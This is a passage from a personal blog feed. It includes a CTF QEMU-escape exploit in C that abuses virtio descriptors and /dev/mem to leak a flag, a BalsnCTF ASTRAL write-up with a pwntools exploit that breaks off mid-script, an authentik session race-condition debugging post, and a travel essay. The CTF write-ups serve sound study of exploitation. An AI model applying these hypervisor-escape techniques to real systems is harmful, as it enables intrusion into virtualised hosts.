VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line">    assert(mmio_read8(&amp;common_cfg-&gt;device_status) &amp; VIRTIO_CONFIG_S_FEATURES_OK);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">// alloc dma memory</span></span><br><span class="line">    <span class="type">int</span> dma_fd = open(<span class="string">&quot;/dev/mem&quot;</span>, O_RDWR | O_SYNC);</span><br><span class="line">    <span class="keyword">if</span>(dma_fd &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;Open dma&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    dma_mem = mmap((<span class="type">void</span>*)<span class="number">0x3ffdd000</span>, <span class="number">0x3000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, <span class="number">0x3ffdd000</span>);</span><br><span class="line">    <span class="keyword">if</span>(dma_mem == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;mmap dma mem&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem = <span class="number">0x12345678</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%x\n&quot;</span>, *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem);</span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;dma_mem: %p\n&quot;</span>, dma_mem);</span><br><span class="line">    dma_data = dma_mem + <span class="number">0x1000</span>;</span><br><span class="line">    queue_desc = (<span class="keyword">struct</span> virtq_desc*)dma_mem;</span><br><span class="line">    queue_avail = (<span class="keyword">struct</span> virtq_avail*)((<span class="type">char</span>*)queue_desc + <span class="number">0x10</span> * VIRTIO_QUEUE_SIZE);</span><br><span class="line">    queue_used = (<span class="keyword">struct</span> virtq_used*)((<span class="type">char</span>*)dma_mem + <span class="number">0x200</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// init queue</span></span><br><span class="line">    mmio_write16(&amp;common_cfg-&gt;queue_select, <span class="number">0</span>);</span><br><span class="line">    mmio_write16(&amp;common_cfg-&gt;queue_size, VIRTIO_QUEUE_SIZE);</span><br><span class="line">    mmio_write64(&amp;common_cfg-&gt;queue_desc, (<span class="type">size_t</span>)<span class="number">0x3ffdd000</span>);</span><br><span class="line">    mmio_write64(&amp;common_cfg-&gt;queue_driver, (<span class="type">size_t</span>)<span class="number">0x3ffdd100</span>);</span><br><span class="line">    mmio_write64(&amp;common_cfg-&gt;queue_device, (<span class="type">size_t</span>)<span class="number">0x3ffdd200</span>);</span><br><span class="line">    mmio_write16(&amp;common_cfg-&gt;queue_enable, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    mmio_write8(&amp;common_cfg-&gt;device_status, VIRTIO_CONFIG_S_DRIVER_OK | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;virtio init done&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">spray</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0xfff</span>; i &gt; <span class="number">0x28</span>; i-=<span class="number">4</span>)&#123;</span><br><span class="line">        mmio_write32((<span class="type">void</span>*)readflag_mmio, i);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">hexdump</span><span class="params">(<span class="type">void</span>* addr, <span class="type">size_t</span> size)</span>&#123;</span><br><span class="line">    <span class="comment">// dump 4 bytes per time</span></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; size; i+=<span class="number">4</span>)&#123;</span><br><span class="line">        <span class="type">uint32_t</span> val = *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)(addr+i);</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">0</span>; j &lt; <span class="number">4</span>; j++)&#123;</span><br><span class="line">            <span class="type">uint8_t</span> chr = (val &gt;&gt; (j*<span class="number">8</span>)) &amp; <span class="number">0xff</span>;</span><br><span class="line">            <span class="keyword">if</span>(chr &gt;= <span class="number">0x20</span> &amp;&amp; chr &lt;= <span class="number">0x7e</span>)&#123;</span><br><span class="line">                <span class="built_in">putchar</span>(chr);</span><br><span class="line">            &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="built_in">putchar</span>(<span class="string">&#x27;?&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line">    init_readflag();</span><br><span class="line">    init_virtio();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_req</span>* <span class="title">req</span> =</span> (<span class="keyword">struct</span> virtio_blk_req*)dma_data;</span><br><span class="line">    req-&gt;type = <span class="number">0xffffffffu</span>;</span><br><span class="line">    req-&gt;sector = <span class="number">0</span>;</span><br><span class="line">    req-&gt;reserved = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    queue_desc[<span class="number">0</span>].addr = (<span class="type">size_t</span>)req;</span><br><span class="line">    queue_desc[<span class="number">0</span>].len = <span class="number">0x10</span>;</span><br><span class="line">    queue_desc[<span class="number">0</span>].flags = VIRTQ_DESC_F_NEXT;</span><br><span class="line">    queue_desc[<span class="number">0</span>].next = <span class="number">1</span>;</span><br><span class="line">    queue_desc[<span class="number">1</span>].addr = (<span class="type">size_t</span>)<span class="number">0xfe000000</span>;</span><br><span class="line">    queue_desc[<span class="number">1</span>].len = <span class="number">0xfff</span>;</span><br><span class="line">    queue_desc[<span class="number">1</span>].flags = VIRTQ_DESC_F_WRITE | VIRTQ_DESC_F_NEXT;</span><br><span class="line">    queue_desc[<span class="number">1</span>].next = <span class="number">2</span>;</span><br><span class="line">    queue_desc[<span class="number">2</span>].addr = (<span class="type">size_t</span>)dma_data + <span class="number">0xa00</span>;</span><br><span class="line">    queue_desc[<span class="number">2</span>].len = <span class="number">1</span>;</span><br><span class="line">    queue_desc[<span class="number">2</span>].flags = VIRTQ_DESC_F_WRITE;</span><br><span class="line">    queue_desc[<span class="number">2</span>].next = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    queue_avail-&gt;flags = <span class="number">1</span>;</span><br><span class="line">    queue_avail-&gt;ring[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    queue_avail-&gt;idx = <span class="number">1</span>;</span><br><span class="line">    mb();</span><br><span class="line">    mmio_write8((<span class="type">void</span>*)virtio_isr_mmio, <span class="number">1</span>);</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span>* <span class="title">common_cfg</span> =</span> (<span class="keyword">struct</span> virtio_pci_common_cfg*)virtio_common_mmio;</span><br><span class="line">    <span class="type">void</span>* notify_addr = (<span class="type">void</span>*)((<span class="type">uintptr_t</span>)virtio_notify_mmio + mmio_read32((<span class="type">void</span>*)&amp;virtio_notify_mmio-&gt;cap.offset) + mmio_read16(&amp;common_cfg-&gt;queue_notify_off) * mmio_read32((<span class="type">void</span>*)&amp;virtio_notify_mmio-&gt;notify_off_multiplier));</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;--------------------------------&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span>; i+=<span class="number">4</span>)&#123;</span><br><span class="line">        spray();</span><br><span class="line">    &#125;</span><br><span class="line">    mmio_write16(notify_addr, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;--------------------------------&quot;</span>);</span><br><span class="line">    hexdump((<span class="type">char</span>*)virtio_common_mmio + <span class="number">0x000</span>, <span class="number">0x100</span>);</span><br><span class="line">    </span><br><span class="line">    munmap(dma_mem, <span class="number">0x3000</span>);</span><br><span class="line">    munmap(virtio_mmio, <span class="number">0x4000</span>);</span><br><span class="line">    munmap(readflag_mmio, <span class="number">0x1000</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">赛中做出来的第一道qemu题</summary>
    
    
    
    <category term="writeup" scheme="https://zqy.ink/categories/writeup/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="XCTF" scheme="https://zqy.ink/tags/XCTF/"/>
    
    <category term="ACTF" scheme="https://zqy.ink/tags/ACTF/"/>
    
    <category term="ACTF2025" scheme="https://zqy.ink/tags/ACTF2025/"/>
    
    <category term="qemu escape" scheme="https://zqy.ink/tags/qemu-escape/"/>
    
    <category term="virtualization" scheme="https://zqy.ink/tags/virtualization/"/>
    
  </entry>
  
  <entry>
    <title>记一次authentik配置debug的心路历程</title>
    <link href="https://zqy.ink/2024/10/10/authentik-debug/"/>
    <id>https://zqy.ink/2024/10/10/authentik-debug/</id>
    <published>2024-10-10T07:15:00.000Z</published>
    <updated>2025-11-14T08:20:36.931Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一切开始之前"><a href="#一切开始之前" class="headerlink" title="一切开始之前"></a>一切开始之前</h2><p>随着队伍内部的服务越来越多（对外：Outline, wiki, hedgedoc, 以及之后可能会有的网盘服务；对内：PVE, Portainer, …），我们越来越觉得需要一个SSO服务，使用户使用一个账户就可以访问这些服务。同时，由于我们的用户包含校内和校外的同学，也需要进一步做权限管理。</p><p>在初步的调研中我们初步确定<a href="https://github.com/keycloak/keycloak">keycloak</a>和<a href="https://github.com/goauthentik/authentik">authentik</a>比较满足我们的需求。但是我们的需求中有一点：Outline不支持外部的权限管理，只支持外部的认证服务，而我们不希望允许任何未授权的用户访问Outline服务，这意味这我们必须在认证(authentication)步骤加入鉴权。而keycloak在这方面有着<a href="https://github.com/keycloak/keycloak/issues/10250">严重的问题</a>，意味着我们必须ban掉一切第三方身份认证服务。因此我们只能选择authentik。</p><p>我们同时允许用户在authentik注册本地的账号，和通过微软等第三方idp进行账号注册和登录。</p><h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>在服务部署后，我们发现用户在使用第三方idp登录时会遇到偶发的认证失败问题，报错<code>Flow does not apply to current user</code>，并且难以复现</p><p><img src="/image-20241010143416007.png"></p><p>而日志并没有提供太多有效的信息，导致我们难以定位问题所在，暂且考虑是哪里发生了竞争导致</p><h2 id="问题定位"><a href="#问题定位" class="headerlink" title="问题定位"></a>问题定位</h2><p>根据配置时的经验，<code>Flow does not apply to current user</code>应该是因为有用户进入了一个flow，但是却被flow绑定的policy判断没有权限进入flow而产生的报错提示。由此我们定位到了default-source-authentication flow的default-source-authentication-if-sso policy</p><p><img src="/image-20241010144345411.png"></p><p>这个policy只是简单地判断用户是否来自外部idp，应该没有理由对正常认证流程的用户执行失败，由此我们考虑问题可能出在这里。我们打开了这个policy的<em>记录执行日志</em>选项，查看发生错误时的context，然后有了意外收获</p><p><img src="/image-20241010144705909.png"></p><p>这里是一个发生问题的日志，红笔涂抹处为用户名。我们可以看到用户最初登录时匿名用户，此时policy结果为true，然后登录成功，然而马上又发生了一次policy执行结果为false，且此时的用户为匿名用户。此时用户已经正常登录成功了才对，怎么可能为匿名用户呢？</p><p>在客户端复现问题后，我们查看了相关的网络日志</p><p><img src="/372850745-b9a8cf94-38af-44ac-a0c7-8f9233cef00d.png"></p><p>用户在请求认证相关endpoint时，几乎同时请求了<code>/api/v3/core/brands/current/</code>和<code>/api/v3/root/config</code>两个endpoint，用户带着session请求，然而后端竟然返回了<code>Set-Cookie: authentik_session=&quot;&quot;</code>，导致虽然认证endpoint返回了已认证的session，但此时浏览器端的session却被清空，再次请求认证endpoint时仍为未登录状态。</p><p><img src="/372851094-2565844f-b259-4be1-9d34-8b6541877e06.png"></p><p>此时用户不是从外部idp返回，所以导致了policy执行失败。但是后端怎么会清空session呢？</p><p>我们查看了authentik的源码，发现只有一处可能导致返回这样的<code>Set-Cookie</code>头，即<code>SessionMiddleware</code>的<code>process_response</code>处调用了<code>delete_cookie</code>方法</p><p><img src="/image-20241010150032867.png"></p><p>这也就意味着用户的session在实际的SessionStore中实际不存在。但考虑到它曾经还是合法的，只有一种可能：用户的Session被作废了</p><p>authentik的用户登录使用的是django.contrib.auth的login，而阅读源码我们发现在认证成功后，会产生一个新的session_key，而作废掉原先的session_key</p><p><img src="/image-20241010150609071.png"></p><p>因此，用户带着旧的session请求额外两个endpoint时，实际上此时用户已经登录成功了，只是新的session还没有响应给浏览器。因此中间件查找不到用户请求时带有的旧session，便调用delete_cookie清空了用户的session，导致了上述的情况。</p><h2 id="workaround"><a href="#workaround" class="headerlink" title="workaround"></a>workaround</h2><p>我们提出了<a href="https://github.com/goauthentik/authentik/issues/11594">issue</a>，然而还未得到维护者的响应。我们暂时过滤掉了两个额外endpoint响应时的<code>Set-Cookie</code>头，问题得到了解决。</p>]]></content>
    
    
    <summary type="html">这authentik能配下去一秒的都是神人了</summary>
    
    
    
    <category term="blog" scheme="https://zqy.ink/categories/blog/"/>
    
    
    <category term="authentik" scheme="https://zqy.ink/tags/authentik/"/>
    
    <category term="sso" scheme="https://zqy.ink/tags/sso/"/>
    
    <category term="debug" scheme="https://zqy.ink/tags/debug/"/>
    
    <category term="race condition" scheme="https://zqy.ink/tags/race-condition/"/>
    
  </entry>
  
  <entry>
    <title>夜彳亍西湖</title>
    <link href="https://zqy.ink/2024/03/30/westlake/"/>
    <id>https://zqy.ink/2024/03/30/westlake/</id>
    <published>2024-03-30T18:31:16.000Z</published>
    <updated>2025-11-14T08:20:36.883Z</updated>
    
    <content type="html"><![CDATA[<p>西湖的夜景称得上好看，但并不如我想象中的惊艳——也许是我的审美还不够的原因吧。不过想想也合理，一潭映射着周围纷杂灯光的湖水，和一片被都市的灯火照得通明的天空，实在算不上什么出色的搭配。</p><p><img src="/1.jpg"></p><p>但也许正因如此，我能将焦点放在这里形形色色的人身上。绕着西湖慢慢游览，尽管已是晚上十点，湖畔仍是人群熙攘。有深情弹唱的人，有放声清唱的人，有围在一旁默默欣赏表演的人，也有情不自禁跟着哼唱的人。好像在这里，人们不再踌躇，而是近乎放肆地表达自己的情感，让它们填满空荡荡的湖面，也在每名听众的心中不断回响。</p><p>除此之外，还有带货的主播、约会的情侣、好看的coser，以及像我这样匆匆经过的旅客……我们以各不相同的节奏生活，却在此时此刻，共同栖居在潮湿的气息里、在一阵轻柔的水声旁，形成了某种共鸣。我们因为不同的原因来到西湖，在静谧的湖水中寻找内心的安宁。</p><p><img src="/4.jpg"></p><p>走在白堤上，昏暗而望不到尽头的路，像是在诱使我陷入其中——而我欣然地接受了。有时感觉路就是这样，在一片黑暗中摸索前行，不知道下一秒迎接自己的是什么。我也有过不少踌躇满志的时候，感觉能好好地把这段路走完，然后又迅速地幻灭于某个情绪崩溃的晚上。但我现在已经可以不用畏惧前行，因为有路旁树枝上盛开的花，有身边非常善良的朋友，有湖水上倒映的温馨的人间烟火。希望终有一天我能学会如何喜欢这条路，和志同道合的朋友们一起走下去。</p><p><img src="/2.jpg"></p><p><img src="/3.jpg"></p><p>大概是背着包负重前行的结果，走到路的尽头，脚部的关节已然吱吱作响。摊在归去的计程车上，我想我已经在这里走完了一段人生。</p>]]></content>
    
    
    <summary type="html">夜彳亍西湖</summary>
    
    
    
    <category term="life" scheme="https://zqy.ink/categories/life/"/>
    
    
    <category term="life" scheme="https://zqy.ink/tags/life/"/>
    
  </entry>
  
  <entry>
    <title>BalsnCTF2023Pwn ASTRAL赛题复现</title>
    <link href="https://zqy.ink/2023/10/23/astral/"/>
    <id>https://zqy.ink/2023/10/23/astral/</id>
    <published>2023-10-23T16:04:28.000Z</published>
    <updated>2025-11-14T08:20:36.875Z</updated>
    
    <content type="html"><![CDATA[<p>题目链接<a href="https://github.com/jwang-a/CTF/tree/master/MyChallenges/Pwn/ASTRAL/">https://github.com/jwang-a/CTF/tree/master/MyChallenges/Pwn/ASTRAL/</a></p><h2 id="赛题分析"><a href="#赛题分析" class="headerlink" title="赛题分析"></a>赛题分析</h2><p>题目给出了5个文件夹：</p><ul><li>APPLET(赛题设计初期对applet的设计和简单的python实现)</li><li>APPLET_PROCESSOR(赛题对applet运行时的C语言实现，以device形式连接hypervisor)</li><li>HYPERVISOR(使用kvm实现vm，支持连接device)</li><li>KERNEL(一个单进程的操作系统内核)</li><li>USER(在内核中运行的用户态程序)</li></ul><p>所以结构是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">DEVICE</span><br><span class="line"></span><br><span class="line">  |  pipe     hypercall           syscall</span><br><span class="line"></span><br><span class="line">HYPERVISOR  ------------- KERNEL------------USER</span><br></pre></td></tr></table></figure><h2 id="Nebula-Stage1-Custom-vm"><a href="#Nebula-Stage1-Custom-vm" class="headerlink" title="Nebula(Stage1, Custom vm)"></a>Nebula(Stage1, Custom vm)</h2><p>本题作为Stage1，只是考察有没有理解代码。通过<code>HYPERVISOR/const.h</code>我们能知道每关flag对应的位置。搜索得printflag调用链</p><p><code>kernelMain()→initAppletStorage()→g_applet.applets[APPLET_CNT_MAX + 3].nativeFn = appletBuiltinFlag→hp_appletspaceFlag()→hypercall(HP_APPLETSPACE_FLAG, 9)→hp_appletspaceFlag(vm)→printFlag(APPLETSPACE_FLAG_FNAME)</code></p><p>即我们通过invoke位置在APPLET_CNT_MAX+3的applet即可。然而，若是通过kernel syscall直接invoke会失败，原因是在<code>KERNEL/applet.c:kAppletInvoke</code>处存在检查<code>if (appletIdx &gt;= APPLET_CNT_MAX &amp;&amp; caller == TASK_NIL) return FAIL;</code>若想invoke，必须满足<code>caller!=TASK_NIL</code>，即必须由另一个applet调用</p><p>注意到applet自身即可调用其他applet（操作码invoke）。运行至invoke时，processor会保存上下文，给hypervisor发送中断(<code>APPLET_PROCESSOR/processor.c:handleAppletExit</code>)，而中断会被传递至kernel的interruptEntry中(<code>HYPERVISOR/interrupt.c:runInterruptHandler</code>)被kAppletInterupt处理。通过<code>kAppletInvoke</code>调用其他applet，此时的caller就不为<code>TASK_NIL</code>了。</p><p>然而，无论是register还是invoke一个applet都需要有合法的RSA签名（<code>APPLET_PROCESSOR/processor.c:appletCheckSignature</code>），我们自己写的applet自然是不会被加载和调用的。好在题目已经给出了两个签名后的applet（<code>APPLET/escrow, APPLET/lottery</code>），通过分析escrow，我们发现完全可以通过它调用其他的applet。第一次调用escrow初始化存储，第二次提供id就可以调用对应的applet。需要注意的是，第一次调用时将输入的8字节存储为preimage，第二次会将传入的前8字节取digest与preimage进行比较，只有比较成功才会按之后的8字节id调用对应的applet。</p><p>为了获得对应的id，我们可以自行实现digestGenerate</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdint.<span class="property">h</span>&gt;</span><br><span class="line">#include &lt;openssl/sha.<span class="property">h</span>&gt;</span><br><span class="line"></span><br><span class="line">#define <span class="variable constant_">SUCCESS</span> <span class="number">0</span></span><br><span class="line">#define <span class="variable constant_">FAIL</span> <span class="number">0xffffffffffffffff</span></span><br><span class="line"></span><br><span class="line">#define <span class="variable constant_">DIGEST_PAYLOAD_SIZE_MAX</span>     <span class="number">0x2000</span></span><br><span class="line">#define <span class="variable constant_">DIGEST_SIZE</span>                 <span class="number">0x20</span></span><br><span class="line">#define <span class="variable constant_">SIGNATURE_SIZE</span>              <span class="number">0x100</span></span><br><span class="line"></span><br><span class="line">uint64_t <span class="title function_">digestGenerateHelper</span>(<span class="params">uint64_t codeLen, uint8_t *code, uint8_t *n, uint8_t *e, uint8_t *nonce, uint8_t *digest</span>) &#123;</span><br><span class="line">  uint8_t payload[<span class="variable constant_">DIGEST_PAYLOAD_SIZE_MAX</span>];</span><br><span class="line">  <span class="keyword">if</span> (n != <span class="variable constant_">NULL</span>) &#123;</span><br><span class="line">    <span class="title function_">memcpy</span>((uint64_t)payload, (uint64_t)n, <span class="variable constant_">SIGNATURE_SIZE</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">memset</span>((uint64_t)payload, <span class="string">&#x27;\0&#x27;</span>, <span class="variable constant_">SIGNATURE_SIZE</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (e != <span class="variable constant_">NULL</span>) &#123;</span><br><span class="line">    <span class="title function_">memcpy</span>((uint64_t)&amp;payload[<span class="variable constant_">SIGNATURE_SIZE</span>], (uint64_t)e, <span class="variable constant_">SIGNATURE_SIZE</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">memset</span>((uint64_t)&amp;payload[<span class="variable constant_">SIGNATURE_SIZE</span>], <span class="string">&#x27;\0&#x27;</span>, <span class="variable constant_">SIGNATURE_SIZE</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (nonce != <span class="variable constant_">NULL</span>) &#123;</span><br><span class="line">    <span class="title function_">memcpy</span>((uint64_t)&amp;payload[<span class="variable constant_">SIGNATURE_SIZE</span> * <span class="number">2</span>], (uint64_t)nonce, <span class="variable constant_">SIGNATURE_SIZE</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">memset</span>((uint64_t)&amp;payload[<span class="variable constant_">SIGNATURE_SIZE</span> * <span class="number">2</span>], <span class="string">&#x27;\0&#x27;</span>, <span class="variable constant_">SIGNATURE_SIZE</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title function_">memcpy</span>((uint64_t)&amp;payload[<span class="variable constant_">SIGNATURE_SIZE</span> * <span class="number">3</span>], (uint64_t)code, codeLen);</span><br><span class="line">  <span class="title class_">SHA256</span>(<span class="variable constant_">SIGNATURE_SIZE</span> * <span class="number">3</span> + codeLen, payload, digest);</span><br><span class="line">  <span class="keyword">return</span> <span class="variable constant_">SUCCESS</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>也可以直接hack进kernel(<code>KERNEL/applet.c:initAppletStorage line26-28</code>)，取输出即可</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">uint64_t buf;</span><br><span class="line"><span class="title function_">getPhysAddr</span>((uint64_t)appletDigest, <span class="title class_">PDE64</span>_RW, &amp;buf);</span><br><span class="line"><span class="title function_">hp_write</span>(<span class="number">1</span>, buf, <span class="number">8</span>);</span><br></pre></td></tr></table></figure><p>exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> <span class="type">Optional</span></span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">p=process([<span class="string">&#x27;./hypervisor&#x27;</span>,<span class="string">&#x27;./processor&#x27;</span>,<span class="string">&#x27;./kernel&#x27;</span>,<span class="string">&#x27;./user&#x27;</span>,<span class="string">&#x27;1500&#x27;</span>])</span><br><span class="line">menu=<span class="string">b&#x27;leave&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendNum</span>(<span class="params">x: <span class="built_in">int</span></span>):</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(x).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">username: <span class="built_in">bytes</span>, password: <span class="built_in">bytes</span>, usernameLen: <span class="type">Optional</span>[<span class="built_in">int</span>] = <span class="literal">None</span>, passwordLen = <span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">if</span> usernameLen==<span class="literal">None</span>:</span><br><span class="line">        usernameLen=<span class="built_in">len</span>(username)</span><br><span class="line">    <span class="keyword">if</span> passwordLen==<span class="literal">None</span>:</span><br><span class="line">        passwordLen=<span class="built_in">len</span>(password)</span><br><span class="line">    sendNum(usernameLen)</span><br><span class="line">    sendNum(passwordLen)</span><br><span class="line">    p.send(username)</span><br><span class="line">    p.send(password)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">registerApplet</span>(<span class="params">code: <span class="built_in">str</span>, signature: <span class="built_in">str</span>, codeLen: <span class="type">Optional</span>[<span class="built_in">int</span>] = <span class="literal">None</span>, nonce: <span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span>, pubn: <span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span>, pube:<span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">assert</span>(<span class="built_in">len</span>(code)%<span class="number">2</span>==<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">if</span> codeLen == <span class="literal">None</span>:</span><br><span class="line">        codeLen=<span class="built_in">len</span>(code)//<span class="number">2</span></span><br><span class="line">    sendNum(<span class="number">1</span>)</span><br><span class="line">    sendNum(codeLen)</span><br><span class="line">    p.send(code.encode())</span><br><span class="line">    p.send(nonce.encode())</span><br><span class="line">    p.send(pubn.encode())</span><br><span class="line">    p.send(pube.encode())</span><br><span class="line">    p.send(signature.encode())</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(p.recvuntil(<span class="string">b&#x27;\n&#x27;</span>).decode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">invokeApplet</span>(<span class="params">appid: <span class="built_in">int</span>, data: <span class="built_in">str</span>, dataLen: <span class="type">Optional</span>[<span class="built_in">int</span>] = <span class="literal">None</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">assert</span>(<span class="built_in">len</span>(data)%<span class="number">2</span>==<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">if</span> dataLen == <span class="literal">None</span>:</span><br><span class="line">        dataLen=<span class="built_in">len</span>(data)//<span class="number">2</span></span><br><span class="line">    sendNum(<span class="number">3</span>)</span><br><span class="line">    sendNum(appid)</span><br><span class="line">    sendNum(dataLen)</span><br><span class="line">    p.send(data.encode())</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(p.recvuntil(<span class="string">b&#x27;\n&#x27;</span>).decode())</span><br><span class="line"></span><br><span class="line">login(<span class="string">b&#x27;a&#x27;</span>, <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">p.recvuntil(menu)</span><br><span class="line"><span class="built_in">id</span>=registerApplet(<span 